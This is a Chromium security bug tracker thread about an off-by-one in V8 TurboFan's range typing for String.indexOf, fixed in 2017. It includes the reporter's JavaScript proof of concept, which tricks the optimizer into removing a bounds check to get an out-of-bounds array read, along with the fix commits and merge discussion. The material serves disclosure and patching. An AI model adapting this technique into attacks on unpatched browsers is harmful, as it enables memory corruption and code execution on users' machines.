New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 762874 link

Starred by 8 users

Issue metadata

Status: Fixed
Owner:
Closed: Sep 2017
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security


Show other hotlists

Hotlists containing this issue:
v8-issues


Sign in to add a comment

Security: off by one in TurboFan range optimization for String.indexOf

Project Member Reported by sroett...@google.com, Sep 7 2017

Issue description

VULNERABILITY DETAILS
The typer returns a range from -1 to String::kMaxLength - 1 for String.indexOf:
https://cs.chromium.org/chromium/src/v8/src/compiler/typer.cc?rcl=8cd4009c5b7072ad224f19a9e668ec0ed7430599&l=1456

However, indexOf can actually return String::kMaxLength (2**28-16):
'A'.repeat(2**28-16).indexOf("", 2**28).toString(16)

Since the optimizer is confused about the potential return values, you can use it to optimize away array accesses and get an out of bounds read-write primitive.

The fix should simply be to remove the - 1 in that line.

VERSION
Chrome Version: 60.0.3112.113 + stable
Operating System: Ubuntu 17.04

REPRODUCTION CASE

Here's how you trigger an out of bounds read. I can also share a full exploit to UXSS/code exec if you're interested.

function maxstring() {
  // force TurboFan
  try {} finally {}

  var i = 'A'.repeat(2**28 - 16).indexOf("", 2**28);
  i += 16; // real value: i = 2**28, optimizer: i = 2**28-1
  i >>= 28; // real value i = 1, optimizer: i = 0
  i *= 100000; // real value i = 100000, optimizer: i = 0
  if (i > 3) {
    return 0;
  } else {
    var arr = [0.1, 0.2, 0.3, 0.4];
    return arr[i];
  }
}

function opttest() {
  // call in a loop to trigger optimization
  for (var i = 0; i < 100000; i++) {
    var o = maxstring();
    if (o == 0 || o == undefined) {
      continue;
    }
    return o;
  }
  console.log("fail");
}

opttest();
 

Comment 1 by evn@google.com, Sep 7 2017

Cc: dmwhite@google.com

Comment 2 by evn@google.com, Sep 7 2017

Cc: dfab...@google.com evn@google.com s...@google.com fr...@google.com
Project Member

Comment 3 by ClusterFuzz, Sep 7 2017

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=6426602253844480.
Components: Blink>JavaScript
Is this a functional bug where the optimizer produces the wrong math, or are you expecting this code produces an OOB read?  Clusterfuzz's asan bot didn't detect the latter. 

On M61 this logs "fail" regardless of the "try" line. I don't see what the bug is here.
The code should crash the renderer with an out of bounds read, at least on Chrome 60 stable.
Pasting it in the console on my Chromebook, it will trigger an "aw snap", that's Version 60.0.3112.112 (Official Build) (64-bit).
I haven't tried it out on Chrome 61 yet nor with ASAN. I don't see why it wouldn't work on Chrome 61 though. I can only imagine that the optimizer might kick in later or that the way you force turbofan changed (which works via the try finally block on Chrome 60).
Cc: mvstan...@chromium.org
Components: -Blink>JavaScript Blink>JavaScript>Compiler
Owner: bmeu...@chromium.org
Status: Started (was: Unconfirmed)
I'll fix it.
Project Member

Comment 9 by bugdroid1@chromium.org, Sep 11 2017

The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/b8f144ec4fd1cd808f0d883668f355498b56d7fa

commit b8f144ec4fd1cd808f0d883668f355498b56d7fa
Author: Benedikt Meurer <bmeurer@chromium.org>
Date: Mon Sep 11 12:05:29 2017

[turbofan] Fix type of String#indexOf and String#lastIndexOf.

The Typer put the wrong type on String#index and String#lastIndexOf
builtins, with an off by one on the upper bound.

Bug:  chromium:762874 
Change-Id: Ia4c29bc2e8e1c85b6a7ae0b99f8aaabf839a5932
Reviewed-on: https://chromium-review.googlesource.com/660000
Reviewed-by: Jaroslav Sevcik <jarin@chromium.org>
Commit-Queue: Benedikt Meurer <bmeurer@chromium.org>
Cr-Commit-Position: refs/heads/master@{#47942}
[modify] https://crrev.com/b8f144ec4fd1cd808f0d883668f355498b56d7fa/src/compiler/typer.cc
[add] https://crrev.com/b8f144ec4fd1cd808f0d883668f355498b56d7fa/test/mjsunit/regress/regress-crbug-762874-1.js
[add] https://crrev.com/b8f144ec4fd1cd808f0d883668f355498b56d7fa/test/mjsunit/regress/regress-crbug-762874-2.js

Labels: Merge-Request-62 Merge-Request-61 OS-All Pri-1
Status: Fixed (was: Started)
The back-merge will require manual adjustments to the tests, since the %StringMaxLength runtime function was introduced recently (with 62).
Project Member

Comment 11 by sheriffbot@chromium.org, Sep 11 2017

Labels: -Merge-Request-61 Merge-Review-61 Hotlist-Merge-Review
This bug requires manual review: Request affecting a post-stable build
Please contact the milestone owner if you have questions.
Owners: amineer@(Android), cmasso@(iOS), ketakid@(ChromeOS), govind@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 12 by sheriffbot@chromium.org, Sep 11 2017

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Cc: awhalley@chromium.org
+ awhalley@ (Security TPM) for M61 & M62 merge review.
Thanks for the quick fix!  There's an M61 stable spin today, but this change is too new to take in that I'm afraid.  We should get this in M62 once it's had a day or two in Canary.
Project Member

Comment 15 by sheriffbot@chromium.org, Sep 12 2017

Labels: -Merge-Request-62 Hotlist-Merge-Approved Merge-Approved-62
Your change meets the bar and is auto-approved for M62. Please go ahead and merge the CL to branch 3202 manually. Please contact milestone owner if you have questions.
Owners: amineer@(Android), cmasso@(iOS), bhthompson@(ChromeOS), abdulsyed@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 16 by bugdroid1@chromium.org, Sep 12 2017

Labels: merge-merged-6.2
The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/389539ca30406101971745820d3105e7f39bb772

commit 389539ca30406101971745820d3105e7f39bb772
Author: Benedikt Meurer <bmeurer@chromium.org>
Date: Tue Sep 12 12:46:46 2017

[turbofan] Fix type of String#indexOf and String#lastIndexOf.

The Typer put the wrong type on String#index and String#lastIndexOf
builtins, with an off by one on the upper bound.

Bug:  chromium:762874 
Change-Id: Ia4c29bc2e8e1c85b6a7ae0b99f8aaabf839a5932
Reviewed-on: https://chromium-review.googlesource.com/660000
Reviewed-by: Jaroslav Sevcik <jarin@chromium.org>
Commit-Queue: Benedikt Meurer <bmeurer@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#47942}(cherry picked from commit b8f144ec4fd1cd808f0d883668f355498b56d7fa)
Reviewed-on: https://chromium-review.googlesource.com/663338
Reviewed-by: Benedikt Meurer <bmeurer@chromium.org>
Cr-Commit-Position: refs/branch-heads/6.2@{#15}
Cr-Branched-From: efa2ac4129d30c7c72e84c16af3d20b44829f990-refs/heads/6.2.414@{#1}
Cr-Branched-From: a861ebb762a60bf5cc2a274faee3620abfb06311-refs/heads/master@{#47693}
[modify] https://crrev.com/389539ca30406101971745820d3105e7f39bb772/src/compiler/typer.cc
[add] https://crrev.com/389539ca30406101971745820d3105e7f39bb772/test/mjsunit/regress/regress-crbug-762874-1.js
[add] https://crrev.com/389539ca30406101971745820d3105e7f39bb772/test/mjsunit/regress/regress-crbug-762874-2.js

Labels: -Merge-Approved-62
awhalley@ (Security TPM) is waiting on more Canary/Dev coverage before approving merge to M61.
Labels: -Merge-Review-61 Merge-Request-61
govind@ - good for 61
Labels: Security_Impact-Stable Security_Severity-High
Labels: -Merge-Request-61 Merge-Approved-61
Approving merge to M61 branch 3163 based on comment #19 and #20 and per offline chat with  awhalley@. Please merge ASAP. Thank you.
Cc: amineer@chromium.org
+  amineer@ as FYI (This won't require respin but we should pick it up for next respin if any per chat with awhalley@)
Project Member

Comment 23 by bugdroid1@chromium.org, Sep 20 2017

Labels: merge-merged-6.1
The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/452f86c15bc3a3fbc935fa411ef9afd89220b125

commit 452f86c15bc3a3fbc935fa411ef9afd89220b125
Author: Jakob Kummerow <jkummerow@chromium.org>
Date: Wed Sep 20 18:21:49 2017

Merged: [turbofan] Fix type of String#indexOf and String#lastIndexOf.

Revision: b8f144ec4fd1cd808f0d883668f355498b56d7fa

BUG= chromium:762874 
LOG=N
NOTRY=true
NOPRESUBMIT=true
NOTREECHECKS=true
R=bmeurer@chromium.org

Change-Id: I95414aaeb0fcd7a3ca5cb69db0824ef8fc0699d9
Reviewed-on: https://chromium-review.googlesource.com/675903
Reviewed-by: Benedikt Meurer <bmeurer@chromium.org>
Cr-Commit-Position: refs/branch-heads/6.1@{#82}
Cr-Branched-From: 1bf2e10ddb194d4c2871a87a4732613419de892d-refs/heads/6.1.534@{#1}
Cr-Branched-From: e825c4318eb2065ffdf9044aa6a5278635c36427-refs/heads/master@{#46746}
[modify] https://crrev.com/452f86c15bc3a3fbc935fa411ef9afd89220b125/src/compiler/typer.cc
[add] https://crrev.com/452f86c15bc3a3fbc935fa411ef9afd89220b125/test/mjsunit/regress/regress-crbug-762874-1.js
[add] https://crrev.com/452f86c15bc3a3fbc935fa411ef9afd89220b125/test/mjsunit/regress/regress-crbug-762874-2.js

Cc: hablich@chromium.org
Labels: -Merge-Approved-61
This is already merged to M61 based on comment #23. Hence, removing "Merge-Approved-61" label.
Labels: Release-2-M61

Comment 27 by wfh@chromium.org, Sep 21 2017

hi - sroettger@google.com - I wonder how this bug was found? Was it reported externally, or was it found by fuzzing internally? You mention you had a full execution/UXSS - we are always interested in these as they allow us to potentially improve our exploit mitigations, can you share?

In addition, I'm sure our bugs-- team would be keen to work with you e.g. if you wanted to use clusterfuzz or perhaps give us a briefing on your research?

Comment 28 by s...@google.com, Sep 22 2017

Hi wfh@ - I started a mail thread with you about this to discuss details.
Project Member

Comment 29 by bugdroid1@chromium.org, Sep 22 2017

The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/d50f297ece84c0c2e22f755487039ef96945266f

commit d50f297ece84c0c2e22f755487039ef96945266f
Author: Michaƫl Zasso <mic.besace@gmail.com>
Date: Fri Sep 22 09:48:20 2017

Fix regression tests

Release 6.1 does not contain the StringMaxLength runtime function.
Hard-code the kStringMaxLength value in the tests instead of using that
function.

NOPRESUBMIT=true
NOTRY=true

Bug:  chromium:762874 
Change-Id: Ifd785363b31d108d20c4e0e5b739463f97fc013d
Reviewed-on: https://chromium-review.googlesource.com/677300
Reviewed-by: Peter Marshall <petermarshall@chromium.org>
Reviewed-by: Jakob Kummerow <jkummerow@chromium.org>
Reviewed-by: Michael Achenbach <machenbach@chromium.org>
Commit-Queue: Peter Marshall <petermarshall@chromium.org>
Cr-Commit-Position: refs/branch-heads/6.1@{#86}
Cr-Branched-From: 1bf2e10ddb194d4c2871a87a4732613419de892d-refs/heads/6.1.534@{#1}
Cr-Branched-From: e825c4318eb2065ffdf9044aa6a5278635c36427-refs/heads/master@{#46746}
[modify] https://crrev.com/d50f297ece84c0c2e22f755487039ef96945266f/test/mjsunit/regress/regress-crbug-762874-1.js
[modify] https://crrev.com/d50f297ece84c0c2e22f755487039ef96945266f/test/mjsunit/regress/regress-crbug-762874-2.js

Comment 30 by evn@google.com, Sep 26 2017

Cc: francisp@google.com tomchop@google.com
Labels: NodeJS-Backport-Done
Project Member

Comment 32 by sheriffbot@chromium.org, Dec 18 2017

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment